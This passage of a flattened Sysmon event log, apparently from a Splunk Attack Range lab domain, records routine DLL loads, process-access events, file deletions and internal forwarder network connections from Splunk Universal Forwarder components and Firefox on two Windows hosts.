Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000053329Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000053328Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000053327Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000053326Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000053325Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.715{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000053324Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.714{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000053323Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.713{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000053322Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.712{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000053321Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.712{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000053320Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.712{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000053319Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.712{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exeMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748trueSplunk, Inc.Valid 10341000x800000000000000053318Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.711{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053317Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.711{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053316Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.711{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053315Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.711{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053314Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.710{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000053313Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.710{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000053312Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.709{7BD73061-737D-613B-7D0B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000053311Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.047{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=55092CDE31E64825425CC64D1E1B4F51,SHA256=2FEBEB41F738B70C5A618C143822201029437CA0CDBBA0FCE2F1D472E821060E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053310Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.014{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1110D4C7F3EB89BD7921DC622CC537A1,SHA256=C6F3497CA665DB24109599F63A8F90832124A4ED7621DEA3D03657B3C7730B04,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053309Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:21.012{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=A5EF5981E2C87B29E7BEDA6D292F8BA0,SHA256=4E21FAFC88FAF1C3EFEF4B7D8BD500FF4D64E34320D3C4BBFCD14D8BEAFE9268,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017045Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:22.256{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7663BE5558C466BA5698648D07CE57A1,SHA256=9A2A544B30D7BE30AEA7E6E56C650F49F364CBBC5850A43C4DCAE8DEFF113831,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053364Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:22.712{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=F5EE0AC02AE9295871BCBDA59269E9CA,SHA256=47530E58E88A485B60BE284CB9BFAE43502CD6D9D017B343DC685FA6CC0CF788,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053363Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:22.161{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6DCBB94D5405A32487B5B8E1449A0651,SHA256=FE41259BDB5A4327892E10618AA2E68B652F6513E0C8591E6A46B94BF2C8144B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017047Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:22.421{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50334-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017046Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:23.287{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5C71EF8D9FBE19354C22E9471E0C84D6,SHA256=65A5329F8835E6BD0967204C04778A272AAA7F89B7D063F3051E3BCB18BE6398,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053366Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:23.176{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0D761E5F3FD3319DD6CE5CFB178C355D,SHA256=96E77E7AE3099E99D23B432E1697915FD77569491FC315F61DD561A5979ABC6D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000053365Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:20.527{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59643-false10.0.1.12-8000- 10341000x800000000000000053375Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:24.560{7BD73061-6D0F-613B-9406-00000000F001}44803132C:\Windows\Explorer.EXE{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHCORE.dll+64c8|C:\Windows\System32\SHCORE.dll+6497|C:\Windows\System32\SHCORE.dll+6387|C:\Windows\System32\SHCORE.dll+62fd|C:\Windows\System32\SHCORE.dll+620a|C:\Windows\System32\SHELL32.dll+55a50|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11ed7|C:\Windows\System32\USER32.dll+22a53|C:\Windows\SYSTEM32\ntdll.dll+a9814|UNKNOWN(FFFFF800916DA8A8)|UNKNOWN(FFFFEC48E0AA5B68)|UNKNOWN(FFFFEC48E0AA5CE7)|UNKNOWN(FFFFEC48E0AA0371)|UNKNOWN(FFFFEC48E0AA1D3A)|UNKNOWN(FFFFEC48E0A9FFF6)|UNKNOWN(FFFFF800913F2103)|C:\Windows\System32\win32u.dll+10c4|C:\Windows\System32\USER32.dll+1ea2e|C:\Windows\System32\SHELL32.dll+592ab|C:\Windows\System32\SHELL32.dll+dac6a|C:\Windows\System32\SHCORE.dll+33fad 10341000x800000000000000053374Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:24.560{7BD73061-6D0F-613B-9406-00000000F001}44803132C:\Windows\Explorer.EXE{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHCORE.dll+64c8|C:\Windows\System32\SHCORE.dll+1c0e5|C:\Windows\System32\SHELL32.dll+55531|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11ed7|C:\Windows\System32\USER32.dll+22a53|C:\Windows\SYSTEM32\ntdll.dll+a9814|UNKNOWN(FFFFF800916DA8A8)|UNKNOWN(FFFFEC48E0AA5B68)|UNKNOWN(FFFFEC48E0AA5CE7)|UNKNOWN(FFFFEC48E0AA0371)|UNKNOWN(FFFFEC48E0AA1D3A)|UNKNOWN(FFFFEC48E0A9FFF6)|UNKNOWN(FFFFF800913F2103)|C:\Windows\System32\win32u.dll+10c4|C:\Windows\System32\USER32.dll+1ea2e|C:\Windows\System32\SHELL32.dll+592ab|C:\Windows\System32\SHELL32.dll+dac6a|C:\Windows\System32\SHCORE.dll+33fad|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000053373Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:24.560{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6824f4a902c78fbd.customDestinations-ms~RF36027a.TMPMD5=5A2D211B76C413705C91AF91DE73617F,SHA256=7E79478EA6AC990294ECABACD6BA318901D8E40A6E229C8253AC3B18701D7DE3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053372Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:24.529{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=784C1444917AE40B8BA76B8A910AB7CA,SHA256=46896DE9DD2E7C945739702715E839758D88BDFD7BE3B8DBEEFA35362DCFFA81,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053371Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:24.529{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=814668FE7FBB80F728B52F8D83FB16A4,SHA256=F2EAAFE80292F7D3FC3D910D326F5C86A7D9C2BF7A891107A4AD792EAF2D328D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053370Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:24.529{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=9B673C598FDE7B0D847652E57A338D3C,SHA256=6B204C52DF1EC2CDBBBFC9EA7BB50127E982439A0BC5BEAA360576A7C3A5DDC3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053369Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:24.529{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=BF620D2762655EEE2637641652DE2F5C,SHA256=26110E8F386AB32CB1F71BE4D5ABA7D274AFD5D9270E89ADF187193BF4DF2D5E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053368Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:24.529{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=26A8BA6FEEF2E3C9EB39688F61EA20DE,SHA256=6F80943164EE1D96A73247BE7DA298355E30915A13D5FE5DB607B3494B25E969,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053367Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:24.209{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9B8240FCA664BE8C8493DC73D53E0822,SHA256=237BA1D68BC9614BB93865D3387601A2B2BC9F78A72C5330319D8A1F325F9D22,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017048Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:24.318{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5169EBCEAF2FDED537892B435F53495A,SHA256=CCA5356475AAF3906C1B0E064EE10A47CAF18A2AA8339FD20FFABD1008E4284D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053376Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:25.291{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D8EDB191A152D8A9436DA2F1D150A926,SHA256=5391638FAFB5190AFCEAB80AC3439B0CB18EE4993C8E16E547262F1140C9B1A7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017049Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:25.318{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=89DBFDD2CFFCD4C3F326FCF7FD6B6DE7,SHA256=5D1302F01BB89A4A906FC05D9F3647CD8996BA0B6C39C12F6F853291D8602B43,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017050Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:26.334{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 